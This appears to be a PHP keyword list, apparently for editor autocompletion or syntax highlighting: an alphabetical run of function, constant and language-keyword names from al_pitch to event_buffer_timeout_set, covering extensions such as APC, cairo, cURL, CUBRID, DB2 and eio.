al_pitch al_playing al_position al_reference_distance al_rolloff_factor al_size al_source_relative al_source_state al_stopped al_true al_velocity alc_frequency alc_refresh alc_sync alt_digits am_str and apache_child_terminate apache_get_modules apache_get_version apache_getenv apache_lookup_uri apache_map apache_note apache_request_headers apache_reset_timeout apache_response_headers apache_setenv apc_add apc_bin_dump apc_bin_dumpfile apc_bin_load apc_bin_loadfile apc_bin_verify_crc32 apc_bin_verify_md5 apc_cache_info apc_cas apc_clear_cache apc_compile_file apc_dec apc_define_constants apc_delete apc_delete_file apc_exists apc_fetch apc_inc apc_iter_all apc_iter_atime apc_iter_ctime apc_iter_device apc_iter_dtime apc_iter_filename apc_iter_inode apc_iter_key apc_iter_md5 apc_iter_mem_size apc_iter_mtime apc_iter_none apc_iter_num_hits apc_iter_refcount apc_iter_ttl apc_iter_type apc_iter_value apc_list_active apc_list_deleted apc_load_constants apc_sma_info apc_store apd_breakpoint apd_callstack apd_clunk apd_continue apd_croak apd_dump_function_table apd_dump_persistent_resources apd_dump_regular_resources apd_echo apd_get_active_symbols apd_set_pprof_trace apd_set_session apd_set_session_trace apd_set_session_trace_socket apd_version args_trace array array_change_key_case array_chunk array_column array_combine array_count_values array_diff array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill array_fill_keys array_filter array_filter_use_both array_filter_use_key array_flip array_intersect array_intersect_assoc array_intersect_key array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map array_merge array_merge_recursive array_multisort array_pad array_pop array_product array_push array_rand array_reduce array_replace array_replace_recursive array_reverse array_search array_shift array_slice array_sort array_splice array_sum array_udiff array_udiff_assoc array_udiff_uassoc array_uintersect array_uintersect_assoc array_uintersect_uassoc array_unique array_unshift array_values array_walk array_walk_recursive arrayaccess arrayiterator arrayobject arsort as asin asinh asort assert assert_active assert_bail assert_callback assert_options assert_quiet_eval assert_warning assignment_trace atan atan2 atanh base64_decode base64_encode base_convert basename bbcode_add_element bbcode_add_smiley bbcode_arg_double_quote bbcode_arg_html_quote bbcode_arg_quote_escaping bbcode_arg_single_quote bbcode_auto_correct bbcode_correct_reopen_tags bbcode_create bbcode_default_smileys_off bbcode_default_smileys_on bbcode_destroy bbcode_disable_tree_build bbcode_flags_arg_parsing bbcode_flags_cdata_not_allowed bbcode_flags_deny_reopen_child bbcode_flags_one_open_per_level bbcode_flags_remove_if_empty bbcode_flags_smileys_off bbcode_flags_smileys_on bbcode_force_smileys_off bbcode_parse bbcode_set_arg_parser bbcode_set_flags bbcode_set_flags_add bbcode_set_flags_remove bbcode_set_flags_set bbcode_smileys_case_insensitive bbcode_type_arg bbcode_type_noarg bbcode_type_optarg bbcode_type_root bbcode_type_single bcadd bccomp bcdiv bcmod bcmul bcompiler_load bcompiler_load_exe bcompiler_parse_class bcompiler_read bcompiler_write_class bcompiler_write_constant bcompiler_write_exe_footer bcompiler_write_file bcompiler_write_footer bcompiler_write_function bcompiler_write_functions_from_file bcompiler_write_header bcompiler_write_included_filename bcpow bcpowmod bcscale bcsqrt bcsub bin2hex bind_textdomain_codeset bindec bindtextdomain blenc_encrypt blenc_ext_version bool boolean boolval break bson_decode bson_encode bus_adraln bus_adrerr bus_objerr bzclose bzcompress bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite cairo_antialias_default cairo_antialias_gray cairo_antialias_none cairo_antialias_subpixel cairo_content_alpha cairo_content_color cairo_content_color_alpha cairo_create cairo_extend_none cairo_extend_pad cairo_extend_reflect cairo_extend_repeat cairo_fill_rule_even_odd cairo_fill_rule_winding cairo_filter_best cairo_filter_bilinear cairo_filter_fast cairo_filter_gaussian cairo_filter_good cairo_filter_nearest cairo_font_face_get_type cairo_font_face_status cairo_font_options_create cairo_font_options_equal cairo_font_options_get_antialias cairo_font_options_get_hint_metrics cairo_font_options_get_hint_style cairo_font_options_get_subpixel_order cairo_font_options_hash cairo_font_options_merge cairo_font_options_set_antialias cairo_font_options_set_hint_metrics cairo_font_options_set_hint_style cairo_font_options_set_subpixel_order cairo_font_options_status cairo_font_slant_italic cairo_font_slant_normal cairo_font_slant_oblique cairo_font_type_ft cairo_font_type_quartz cairo_font_type_toy cairo_font_type_win32 cairo_font_weight_bold cairo_font_weight_normal cairo_format_a1 cairo_format_a8 cairo_format_argb32 cairo_format_rgb24 cairo_format_stride_for_width cairo_hint_metrics_default cairo_hint_metrics_off cairo_hint_metrics_on cairo_hint_style_default cairo_hint_style_full cairo_hint_style_medium cairo_hint_style_none cairo_hint_style_slight cairo_image_surface_create cairo_image_surface_create_for_data cairo_image_surface_create_from_png cairo_image_surface_get_data cairo_image_surface_get_format cairo_image_surface_get_height cairo_image_surface_get_stride cairo_image_surface_get_width cairo_line_cap_butt cairo_line_cap_round cairo_line_cap_square cairo_line_join_bevel cairo_line_join_miter cairo_line_join_round cairo_matrix_create_scale cairo_matrix_create_translate cairo_matrix_invert cairo_matrix_multiply cairo_matrix_rotate cairo_matrix_transform_distance cairo_matrix_transform_point cairo_matrix_translate cairo_operator_add cairo_operator_atop cairo_operator_clear cairo_operator_dest cairo_operator_dest_atop cairo_operator_dest_in cairo_operator_dest_out cairo_operator_dest_over cairo_operator_in cairo_operator_out cairo_operator_over cairo_operator_saturate cairo_operator_source cairo_operator_xor cairo_pattern_add_color_stop_rgb cairo_pattern_add_color_stop_rgba cairo_pattern_create_for_surface cairo_pattern_create_linear cairo_pattern_create_radial cairo_pattern_create_rgb cairo_pattern_create_rgba cairo_pattern_get_color_stop_count cairo_pattern_get_color_stop_rgba cairo_pattern_get_extend cairo_pattern_get_filter cairo_pattern_get_linear_points cairo_pattern_get_matrix cairo_pattern_get_radial_circles cairo_pattern_get_rgba cairo_pattern_get_surface cairo_pattern_get_type cairo_pattern_set_extend cairo_pattern_set_filter cairo_pattern_set_matrix cairo_pattern_status cairo_pattern_type_linear cairo_pattern_type_radial cairo_pattern_type_solid cairo_pattern_type_surface cairo_pdf_surface_create cairo_pdf_surface_set_size cairo_ps_get_levels cairo_ps_level_2 cairo_ps_level_3 cairo_ps_level_to_string cairo_ps_surface_create cairo_ps_surface_dsc_begin_page_setup cairo_ps_surface_dsc_begin_setup cairo_ps_surface_dsc_comment cairo_ps_surface_get_eps cairo_ps_surface_restrict_to_level cairo_ps_surface_set_eps cairo_ps_surface_set_size cairo_scaled_font_create cairo_scaled_font_extents cairo_scaled_font_get_ctm cairo_scaled_font_get_font_face cairo_scaled_font_get_font_matrix cairo_scaled_font_get_font_options cairo_scaled_font_get_scale_matrix cairo_scaled_font_get_type cairo_scaled_font_glyph_extents cairo_scaled_font_status cairo_scaled_font_text_extents cairo_status_clip_not_representable cairo_status_file_not_found cairo_status_invalid_content cairo_status_invalid_dash cairo_status_invalid_dsc_comment cairo_status_invalid_format cairo_status_invalid_index cairo_status_invalid_matrix cairo_status_invalid_path_data cairo_status_invalid_pop_group cairo_status_invalid_restore cairo_status_invalid_status cairo_status_invalid_stride cairo_status_invalid_string cairo_status_invalid_visual cairo_status_no_current_point cairo_status_no_memory cairo_status_null_pointer cairo_status_pattern_type_mismatch cairo_status_read_error cairo_status_success cairo_status_surface_finished cairo_status_surface_type_mismatch cairo_status_temp_file_error cairo_status_write_error cairo_subpixel_order_bgr cairo_subpixel_order_default cairo_subpixel_order_rgb cairo_subpixel_order_vbgr cairo_subpixel_order_vrgb cairo_surface_copy_page cairo_surface_create_similar cairo_surface_finish cairo_surface_flush cairo_surface_get_content cairo_surface_get_device_offset cairo_surface_get_font_options cairo_surface_get_type cairo_surface_mark_dirty cairo_surface_mark_dirty_rectangle cairo_surface_set_device_offset cairo_surface_set_fallback_resolution cairo_surface_show_page cairo_surface_status cairo_surface_type_beos cairo_surface_type_directfb cairo_surface_type_glitz cairo_surface_type_image cairo_surface_type_os2 cairo_surface_type_pdf cairo_surface_type_ps cairo_surface_type_quartz cairo_surface_type_quartz_image cairo_surface_type_svg cairo_surface_type_win32 cairo_surface_type_win32_printing cairo_surface_type_xcb cairo_surface_type_xlib cairo_surface_write_to_png cairo_svg_surface_create cairo_svg_surface_restrict_to_version cairo_svg_version_1_1 cairo_svg_version_1_2 + cairo_svg_version_to_string cal_days_in_month cal_dow_dayno cal_dow_long cal_dow_short cal_easter_always_gregorian cal_easter_always_julian cal_easter_default cal_easter_roman cal_french cal_from_jd cal_gregorian cal_info cal_jewish cal_jewish_add_alafim cal_jewish_add_alafim_geresh cal_jewish_add_gereshayim cal_julian cal_month_french cal_month_gregorian_long cal_month_gregorian_short cal_month_jewish cal_month_julian_long cal_month_julian_short cal_num_cals cal_to_jd calcul_hmac calculhmac call_user_func call_user_func_array call_user_method call_user_method_array callable case case_lower case_upper catch ceil cfunction char_max chdb_create chdir checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split cl_expunge class class_alias class_exists class_implements class_parents class_uses cld_continued cld_dumped cld_exited cld_killed cld_stopped cld_trapped clearstatcache cli_get_process_title cli_set_process_title clone closedir closelog clsctx_all clsctx_inproc_handler clsctx_inproc_server clsctx_local_server clsctx_remote_server clsctx_server codeset collator_asort collator_compare collator_create collator_get_attribute collator_get_error_code collator_get_error_message collator_get_locale collator_get_sort_key collator_get_strength collator_set_attribute collator_set_strength collator_sort collator_sort_with_sort_keys com_create_guid com_event_sink com_get com_get_active_object com_invoke com_load com_load_typelib com_message_pump com_print_typeinfo com_propget com_propput com_set compact connection_aborted connection_normal connection_status connection_timeout const constant continue convert_cyr_string convert_uudecode convert_uuencode copy cos cosh count count_chars count_normal count_recursive cp_acp cp_maccp cp_move cp_oemcp cp_symbol cp_thread_acp cp_uid cp_utf7 cp_utf8 crc32 create_function credits_all credits_docs credits_fullpage credits_general credits_group credits_modules credits_qa credits_sapi crncystr crypt crypt_blowfish crypt_ext_des crypt_md5 crypt_salt_length crypt_sha256 crypt_sha512 crypt_std_des ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_graph ctype_lower ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit cubrid_affected_rows cubrid_assoc cubrid_async cubrid_autocommit_false cubrid_autocommit_true cubrid_bind cubrid_both cubrid_client_encoding cubrid_close cubrid_close_prepare cubrid_close_request cubrid_col_get cubrid_col_size cubrid_column_names cubrid_column_types cubrid_commit cubrid_connect cubrid_connect_with_url cubrid_current_oid cubrid_cursor_current cubrid_cursor_error cubrid_cursor_first cubrid_cursor_last cubrid_cursor_success cubrid_data_seek cubrid_db_name cubrid_disconnect cubrid_drop cubrid_errno cubrid_error cubrid_error_code cubrid_error_code_facility cubrid_error_msg cubrid_exec_query_all cubrid_execute cubrid_facility_cas cubrid_facility_cci cubrid_facility_client cubrid_facility_dbms cubrid_fetch cubrid_fetch_array cubrid_fetch_assoc cubrid_fetch_field cubrid_fetch_lengths cubrid_fetch_object cubrid_fetch_row cubrid_field_flags cubrid_field_len cubrid_field_name cubrid_field_seek cubrid_field_table cubrid_field_type cubrid_free_result cubrid_get cubrid_get_autocommit cubrid_get_charset cubrid_get_class_name cubrid_get_client_info cubrid_get_db_parameter cubrid_get_query_timeout cubrid_get_server_info cubrid_include_oid cubrid_insert_id cubrid_is_instance cubrid_list_dbs cubrid_lob cubrid_lob2_bind cubrid_lob2_close cubrid_lob2_export cubrid_lob2_import cubrid_lob2_new cubrid_lob2_read cubrid_lob2_seek cubrid_lob2_seek64 cubrid_lob2_size cubrid_lob2_size64 cubrid_lob2_tell cubrid_lob2_tell64 cubrid_lob2_write cubrid_lob_close cubrid_lob_export cubrid_lob_get cubrid_lob_send cubrid_lob_size cubrid_lock_read cubrid_lock_write cubrid_move_cursor cubrid_next_result cubrid_no_more_data cubrid_num cubrid_num_cols cubrid_num_fields cubrid_num_rows cubrid_object cubrid_param_isolation_level cubrid_param_lock_timeout cubrid_pconnect cubrid_pconnect_with_url cubrid_ping cubrid_prepare cubrid_put cubrid_query cubrid_real_escape_string cubrid_result cubrid_rollback cubrid_sch_attr_privilege cubrid_sch_attribute cubrid_sch_class cubrid_sch_class_attribute cubrid_sch_class_method cubrid_sch_class_privilege cubrid_sch_constraint cubrid_sch_cross_reference cubrid_sch_direct_super_class cubrid_sch_exported_keys cubrid_sch_imported_keys cubrid_sch_method cubrid_sch_method_file cubrid_sch_primary_key cubrid_sch_query_spec cubrid_sch_subclass cubrid_sch_superclass cubrid_sch_trigger cubrid_sch_vclass cubrid_schema cubrid_seq_drop cubrid_seq_insert cubrid_seq_put cubrid_set_add cubrid_set_autocommit cubrid_set_db_parameter cubrid_set_drop cubrid_set_query_timeout cubrid_unbuffered_query cubrid_version curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_fnmatchfunc_fail curl_fnmatchfunc_match curl_fnmatchfunc_nomatch curl_getinfo curl_http_version_1_0 curl_http_version_1_1 curl_http_version_2_0 curl_http_version_none curl_init curl_ipresolve_v4 curl_ipresolve_v6 curl_ipresolve_whatever curl_lock_data_cookie curl_lock_data_dns curl_lock_data_ssl_session curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_netrc_ignored curl_netrc_optional curl_netrc_required curl_pause curl_readfunc_pause curl_reset curl_rtspreq_announce curl_rtspreq_describe curl_rtspreq_get_parameter curl_rtspreq_options curl_rtspreq_pause curl_rtspreq_play curl_rtspreq_receive curl_rtspreq_record curl_rtspreq_set_parameter curl_rtspreq_setup curl_rtspreq_teardown curl_setopt curl_setopt_array curl_share_close curl_share_init curl_share_setopt curl_sslversion_default curl_sslversion_sslv2 curl_sslversion_sslv3 curl_sslversion_tlsv1 curl_sslversion_tlsv1_0 curl_sslversion_tlsv1_1 curl_sslversion_tlsv1_2 curl_strerror curl_timecond_ifmodsince curl_timecond_ifunmodsince curl_timecond_lastmod curl_timecond_none curl_tlsauth_srp curl_unescape curl_version curl_version_http2 curl_version_ipv6 curl_version_kerberos4 curl_version_libz curl_version_ssl curl_wrappers_enabled curl_writefunc_pause curlauth_any curlauth_anysafe curlauth_basic curlauth_digest curlauth_digest_ie curlauth_gssnegotiate curlauth_none curlauth_ntlm curlauth_only curlclosepolicy_callback curlclosepolicy_least_recently_used curlclosepolicy_least_traffic curlclosepolicy_oldest curlclosepolicy_slowest curle_aborted_by_callback curle_bad_calling_order curle_bad_content_encoding curle_bad_download_resume curle_bad_function_argument curle_bad_password_entered curle_couldnt_connect curle_couldnt_resolve_host curle_couldnt_resolve_proxy curle_failed_init curle_file_couldnt_read_file curle_filesize_exceeded curle_ftp_access_denied curle_ftp_bad_download_resume curle_ftp_cant_get_host curle_ftp_cant_reconnect curle_ftp_couldnt_get_size curle_ftp_couldnt_retr_file curle_ftp_couldnt_set_ascii curle_ftp_couldnt_set_binary curle_ftp_couldnt_stor_file curle_ftp_couldnt_use_rest curle_ftp_partial_file curle_ftp_port_failed curle_ftp_quote_error curle_ftp_ssl_failed curle_ftp_user_password_incorrect curle_ftp_weird_227_format curle_ftp_weird_pass_reply curle_ftp_weird_pasv_reply curle_ftp_weird_server_reply curle_ftp_weird_user_reply curle_ftp_write_error curle_function_not_found curle_got_nothing curle_http_not_found curle_http_port_failed curle_http_post_error curle_http_range_error curle_http_returned_error curle_ldap_cannot_bind curle_ldap_invalid_url curle_ldap_search_failed curle_library_not_found curle_malformat_user curle_obsolete curle_ok curle_operation_timedout curle_operation_timeouted curle_out_of_memory curle_partial_file curle_read_error curle_recv_error curle_send_error curle_share_in_use curle_ssh curle_ssl_cacert curle_ssl_certproblem curle_ssl_cipher curle_ssl_connect_error curle_ssl_engine_notfound curle_ssl_engine_setfailed curle_ssl_peer_certificate curle_telnet_option_syntax curle_too_many_redirects curle_unknown_telnet_option curle_unsupported_protocol curle_url_malformat curle_url_malformat_user curle_write_error curlftpauth_default curlftpauth_ssl curlftpauth_tls curlftpmethod_multicwd curlftpmethod_nocwd curlftpmethod_singlecwd curlftpssl_all curlftpssl_ccc_active curlftpssl_ccc_none curlftpssl_ccc_passive curlftpssl_control curlftpssl_none curlftpssl_try curlgssapi_delegation_flag curlgssapi_delegation_policy_flag curlinfo_appconnect_time curlinfo_certinfo curlinfo_condition_unmet curlinfo_connect_time curlinfo_content_length_download curlinfo_content_length_upload curlinfo_content_type curlinfo_cookielist curlinfo_effective_url curlinfo_filetime curlinfo_ftp_entry_path curlinfo_header_out curlinfo_header_size curlinfo_http_code curlinfo_http_connectcode curlinfo_httpauth_avail curlinfo_lastone curlinfo_local_ip curlinfo_local_port curlinfo_namelookup_time curlinfo_num_connects curlinfo_os_errno curlinfo_pretransfer_time curlinfo_primary_ip curlinfo_primary_port curlinfo_private curlinfo_proxyauth_avail curlinfo_redirect_count curlinfo_redirect_time curlinfo_redirect_url curlinfo_request_size curlinfo_response_code curlinfo_rtsp_client_cseq curlinfo_rtsp_cseq_recv curlinfo_rtsp_server_cseq curlinfo_rtsp_session_id curlinfo_size_download curlinfo_size_upload curlinfo_speed_download curlinfo_speed_upload curlinfo_ssl_engines curlinfo_ssl_verifyresult curlinfo_starttransfer_time curlinfo_total_time curlm_bad_easy_handle curlm_bad_handle curlm_call_multi_perform curlm_internal_error curlm_ok curlm_out_of_memory curlmopt_maxconnects curlmopt_pipelining curlmsg_done curlopt_accept_encoding curlopt_accepttimeout_ms curlopt_address_scope curlopt_append curlopt_autoreferer curlopt_binarytransfer curlopt_buffersize curlopt_cainfo + curlopt_capath curlopt_certinfo curlopt_closepolicy curlopt_connect_only curlopt_connecttimeout curlopt_connecttimeout_ms curlopt_cookie curlopt_cookiefile curlopt_cookiejar curlopt_cookielist curlopt_cookiesession curlopt_crlf curlopt_crlfile curlopt_customrequest curlopt_dirlistonly curlopt_dns_cache_timeout curlopt_dns_servers curlopt_dns_use_global_cache curlopt_egdsocket curlopt_encoding curlopt_failonerror curlopt_file curlopt_filetime curlopt_fnmatch_function curlopt_followlocation curlopt_forbid_reuse curlopt_fresh_connect curlopt_ftp_account curlopt_ftp_alternative_to_user curlopt_ftp_create_missing_dirs curlopt_ftp_filemethod curlopt_ftp_response_timeout curlopt_ftp_skip_pasv_ip curlopt_ftp_ssl curlopt_ftp_ssl_ccc curlopt_ftp_use_eprt curlopt_ftp_use_epsv curlopt_ftp_use_pret curlopt_ftpappend curlopt_ftpascii curlopt_ftplistonly curlopt_ftpport curlopt_ftpsslauth curlopt_gssapi_delegation curlopt_header curlopt_headerfunction curlopt_http200aliases curlopt_http_content_decoding curlopt_http_transfer_decoding curlopt_http_version curlopt_httpauth curlopt_httpget curlopt_httpheader curlopt_httpproxytunnel curlopt_ignore_content_length curlopt_infile curlopt_infilesize curlopt_interface curlopt_ipresolve curlopt_issuercert curlopt_keypasswd curlopt_krb4level curlopt_krblevel curlopt_localport curlopt_localportrange curlopt_low_speed_limit curlopt_low_speed_time curlopt_mail_auth curlopt_mail_from curlopt_mail_rcpt curlopt_max_recv_speed_large curlopt_max_send_speed_large curlopt_maxconnects curlopt_maxfilesize curlopt_maxredirs curlopt_mute curlopt_netrc curlopt_netrc_file curlopt_new_directory_perms curlopt_new_file_perms curlopt_nobody curlopt_noprogress curlopt_noproxy curlopt_nosignal curlopt_passwdfunction curlopt_password curlopt_port curlopt_post curlopt_postfields curlopt_postquote curlopt_postredir curlopt_prequote curlopt_private curlopt_progressfunction curlopt_protocols curlopt_proxy curlopt_proxy_transfer_mode curlopt_proxyauth curlopt_proxypassword curlopt_proxyport curlopt_proxytype curlopt_proxyusername curlopt_proxyuserpwd curlopt_put curlopt_quote curlopt_random_file curlopt_range curlopt_readdata curlopt_readfunction curlopt_redir_protocols curlopt_referer curlopt_resolve curlopt_resume_from curlopt_returntransfer curlopt_rtsp_client_cseq curlopt_rtsp_request curlopt_rtsp_server_cseq curlopt_rtsp_session_id curlopt_rtsp_stream_uri curlopt_rtsp_transport curlopt_safe_upload curlopt_share curlopt_socks5_gssapi_nec curlopt_socks5_gssapi_service curlopt_ssh_auth_types curlopt_ssh_host_public_key_md5 curlopt_ssh_knownhosts curlopt_ssh_private_keyfile curlopt_ssh_public_keyfile curlopt_ssl_cipher_list curlopt_ssl_options curlopt_ssl_sessionid_cache curlopt_ssl_verifyhost curlopt_ssl_verifypeer curlopt_sslcert curlopt_sslcertpasswd curlopt_sslcerttype curlopt_sslengine curlopt_sslengine_default curlopt_sslkey curlopt_sslkeypasswd curlopt_sslkeytype curlopt_sslversion curlopt_stderr curlopt_tcp_keepalive curlopt_tcp_keepidle curlopt_tcp_keepintvl curlopt_tcp_nodelay curlopt_telnetoptions curlopt_tftp_blksize curlopt_timecondition curlopt_timeout curlopt_timeout_ms curlopt_timevalue curlopt_tlsauth_password curlopt_tlsauth_type curlopt_tlsauth_username curlopt_transfer_encoding curlopt_transfertext curlopt_unrestricted_auth curlopt_upload curlopt_url curlopt_use_ssl curlopt_useragent curlopt_username curlopt_userpwd curlopt_verbose curlopt_wildcardmatch curlopt_writefunction curlopt_writeheader curlpause_all curlpause_cont curlpause_recv curlpause_recv_cont curlpause_send curlpause_send_cont curlproto_all curlproto_dict curlproto_file curlproto_ftp curlproto_ftps curlproto_gopher curlproto_http curlproto_https curlproto_imap curlproto_imaps curlproto_ldap curlproto_ldaps curlproto_pop3 curlproto_pop3s curlproto_rtmp curlproto_rtmpe curlproto_rtmps curlproto_rtmpt curlproto_rtmpte curlproto_rtmpts curlproto_rtsp curlproto_scp curlproto_sftp curlproto_smtp curlproto_smtps curlproto_telnet curlproto_tftp curlproxy_http curlproxy_socks4 curlproxy_socks4a curlproxy_socks5 curlproxy_socks5_hostname curlshopt_none curlshopt_share curlshopt_unshare curlssh_auth_any curlssh_auth_default curlssh_auth_host curlssh_auth_keyboard curlssh_auth_none curlssh_auth_password curlssh_auth_publickey curlsslopt_allow_beast curlusessl_all curlusessl_control curlusessl_none curlusessl_try curlversion_now currency_symbol current cyrus_authenticate cyrus_bind cyrus_callback_noliteral cyrus_callback_numbered cyrus_close cyrus_conn_initialresponse cyrus_conn_nonsyncliteral cyrus_connect cyrus_query cyrus_unbind d_fmt d_t_fmt date date_add date_atom date_cookie date_create date_create_from_format date_create_immutable date_create_immutable_from_format date_date_set date_default_timezone_get date_default_timezone_set date_diff date_format date_get_last_errors date_interval_create_from_date_string date_interval_format date_iso8601 date_isodate_set date_modify date_offset_get date_parse date_parse_from_format date_rfc1036 date_rfc1123 date_rfc2822 date_rfc3339 date_rfc822 date_rfc850 date_rss date_sub date_sun_info date_sunrise date_sunset date_time_set date_timestamp_get date_timestamp_set date_timezone_get date_timezone_set date_w3c datefmt_create datefmt_format datefmt_get_calendar datefmt_get_datetype datefmt_get_error_code datefmt_get_error_message datefmt_get_locale datefmt_get_pattern datefmt_get_timetype datefmt_get_timezone_id datefmt_is_lenient datefmt_localtime datefmt_parse datefmt_set_calendar datefmt_set_lenient datefmt_set_pattern datefmt_set_timezone_id day_1 day_2 day_3 day_4 day_5 day_6 day_7 db2_autocommit db2_autocommit_off db2_autocommit_on db2_binary db2_bind_param db2_case_lower db2_case_natural db2_case_upper db2_char db2_client_info db2_close db2_column_privileges db2_columns db2_commit db2_conn_error db2_conn_errormsg db2_connect db2_convert db2_cursor_type db2_deferred_prepare_off db2_deferred_prepare_on db2_double db2_escape_string db2_exec db2_execute db2_fetch_array db2_fetch_assoc db2_fetch_both db2_fetch_object db2_fetch_row db2_field_display_size db2_field_name db2_field_num db2_field_precision db2_field_scale db2_field_type db2_field_width db2_foreign_keys db2_forward_only db2_free_result db2_free_stmt db2_get_option db2_last_insert_id db2_lob_read db2_long db2_next_result db2_num_fields db2_num_rows db2_param_file db2_param_in db2_param_inout db2_param_out db2_passthru db2_pclose db2_pconnect db2_prepare db2_primary_keys db2_procedure_columns db2_procedures db2_result db2_rollback db2_scrollable db2_server_info db2_set_option db2_special_columns db2_statistics db2_stmt_error db2_stmt_errormsg db2_table_privileges db2_tables dba_close dba_delete dba_exists dba_fetch dba_firstkey dba_handlers dba_insert dba_key_split dba_list dba_nextkey dba_open dba_optimize dba_popen dba_replace dba_sync dbase_add_record dbase_close dbase_create dbase_delete_record dbase_get_header_info dbase_get_record dbase_get_record_with_names dbase_numfields dbase_numrecords dbase_open dbase_pack dbase_replace_record dbplus_add dbplus_aql dbplus_chdir dbplus_close dbplus_curr dbplus_err_close dbplus_err_corrupt_tuple dbplus_err_crc dbplus_err_create dbplus_err_dbparse dbplus_err_dbpreexit dbplus_err_dbrunerr dbplus_err_duplicate dbplus_err_empty dbplus_err_eoscan dbplus_err_fifo dbplus_err_length dbplus_err_locked dbplus_err_lseek dbplus_err_magic dbplus_err_malloc dbplus_err_nidx dbplus_err_noerr dbplus_err_nolock dbplus_err_nusers dbplus_err_ontrap dbplus_err_open dbplus_err_panic dbplus_err_perm dbplus_err_pgsize dbplus_err_pipe dbplus_err_preexit dbplus_err_preproc dbplus_err_read dbplus_err_restricted dbplus_err_tcl dbplus_err_unknown dbplus_err_user dbplus_err_version dbplus_err_wait dbplus_err_warning0 dbplus_err_wlocked dbplus_err_wopen dbplus_err_write dbplus_errcode dbplus_errno dbplus_find dbplus_first dbplus_flush dbplus_freealllocks dbplus_freelock dbplus_freerlocks dbplus_getlock dbplus_getunique dbplus_info dbplus_last dbplus_lockrel dbplus_next dbplus_open dbplus_prev dbplus_rchperm dbplus_rcreate dbplus_rcrtexact dbplus_rcrtlike dbplus_resolve dbplus_restorepos dbplus_rkeys dbplus_ropen dbplus_rquery dbplus_rrename dbplus_rsecindex dbplus_runlink dbplus_rzap dbplus_savepos dbplus_setindex dbplus_setindexbynumber dbplus_sql dbplus_tcl dbplus_tremove dbplus_undo dbplus_undoprepare dbplus_unlockrel dbplus_unselect dbplus_update dbplus_xlockrel dbplus_xunlockrel dbx_close dbx_cmp_asc dbx_cmp_desc dbx_cmp_native dbx_cmp_number dbx_cmp_text dbx_colnames_lowercase dbx_colnames_unchanged dbx_colnames_uppercase dbx_compare dbx_connect dbx_error dbx_escape_string dbx_fbsql dbx_fetch_row dbx_mssql dbx_mysql dbx_oci8 dbx_odbc dbx_persistent dbx_pgsql dbx_query dbx_result_assoc dbx_result_index dbx_result_info dbx_result_unbuffered dbx_sort dbx_sqlite dbx_sybasect dcgettext dcngettext debug_backtrace debug_backtrace_ignore_args debug_backtrace_provide_object debug_print_backtrace debug_zval_dump decbin dechex decimal_point declare decoct default default_include_path define define_syslog_variables defined deg2rad delete dgettext die dio_close dio_fcntl dio_open dio_read dio_seek dio_stat dio_tcsetattr dio_truncate dio_write dir directory directory_separator dirname disk_free_space disk_total_space diskfreespace disp_e_badindex disp_e_divbyzero disp_e_overflow dl dngettext dns_a dns_a6 dns_aaaa dns_all dns_any dns_check_record dns_cname dns_get_mx dns_get_record dns_hinfo dns_mx dns_naptr dns_ns dns_ptr dns_soa dns_srv dns_txt do dom_hierarchy_request_err dom_import_simplexml dom_index_size_err dom_inuse_attribute_err dom_invalid_access_err dom_invalid_character_err dom_invalid_modification_err dom_invalid_state_err dom_namespace_err dom_no_data_allowed_err dom_no_modification_allowed_err dom_not_found_err + dom_not_supported_err dom_php_err dom_syntax_err dom_validation_err dom_wrong_document_err domstring_size_err double doubleval e_all e_compile_error e_compile_warning e_core_error e_core_warning e_deprecated e_error e_notice e_parse e_recoverable_error e_strict e_user_deprecated e_user_error e_user_notice e_user_warning e_warning each easter_date easter_days echo eio_busy eio_cancel eio_chmod eio_chown eio_close eio_custom eio_dt_blk eio_dt_chr eio_dt_cmp eio_dt_dir eio_dt_door eio_dt_fifo eio_dt_lnk eio_dt_max eio_dt_mpb eio_dt_mpc eio_dt_nam eio_dt_nwk eio_dt_reg eio_dt_sock eio_dt_unknown eio_dt_wht eio_dup2 eio_event_loop eio_falloc_fl_keep_size eio_fallocate eio_fchmod eio_fchown eio_fdatasync eio_fstat eio_fstatvfs eio_fsync eio_ftruncate eio_futime eio_get_event_stream eio_get_last_error eio_grp eio_grp_add eio_grp_cancel eio_grp_limit eio_init eio_link eio_lstat eio_mkdir eio_mknod eio_nop eio_npending eio_nready eio_nreqs eio_nthreads eio_o_append eio_o_creat eio_o_excl eio_o_fsync eio_o_nonblock eio_o_rdonly eio_o_rdwr eio_o_trunc eio_o_wronly eio_open eio_poll eio_pri_default eio_pri_max eio_pri_min eio_read eio_readahead eio_readdir eio_readdir_dents eio_readdir_dirs_first eio_readdir_found_unknown eio_readdir_stat_order eio_readlink eio_realpath eio_rename eio_rmdir eio_s_ifblk eio_s_ifchr eio_s_ififo eio_s_ifreg eio_s_ifsock eio_s_irgrp eio_s_iroth eio_s_irusr eio_s_iwgrp eio_s_iwoth eio_s_iwusr eio_s_ixgrp eio_s_ixoth eio_s_ixusr eio_seek eio_seek_cur eio_seek_end eio_seek_set eio_sendfile eio_set_max_idle eio_set_max_parallel eio_set_max_poll_reqs eio_set_max_poll_time eio_set_min_parallel eio_stat eio_statvfs eio_symlink eio_sync eio_sync_file_range eio_sync_file_range_wait_after eio_sync_file_range_wait_before eio_sync_file_range_write eio_syncfs eio_truncate eio_unlink eio_utime eio_write else elseif empty enc7bit enc8bit encbase64 encbinary encother encquotedprintable end enddeclare endfor endforeach endif endswitch endwhile ent_compat ent_disallowed ent_html401 ent_html5 ent_ignore ent_noquotes ent_quotes ent_substitute ent_xhtml ent_xml1 era era_d_fmt era_d_t_fmt era_t_fmt era_year ereg ereg_replace eregi eregi_replace error_clear_last error_get_last error_log error_reporting error_trace escapeshellarg escapeshellcmd ev_persist ev_read ev_signal ev_timeout ev_write eval event_add event_base_free event_base_loop event_base_loopbreak event_base_loopexit event_base_new event_base_priority_init event_base_reinit event_base_set event_buffer_base_set event_buffer_disable event_buffer_enable event_buffer_fd_set event_buffer_free event_buffer_new event_buffer_priority_set event_buffer_read event_buffer_set_callback event_buffer_timeout_set 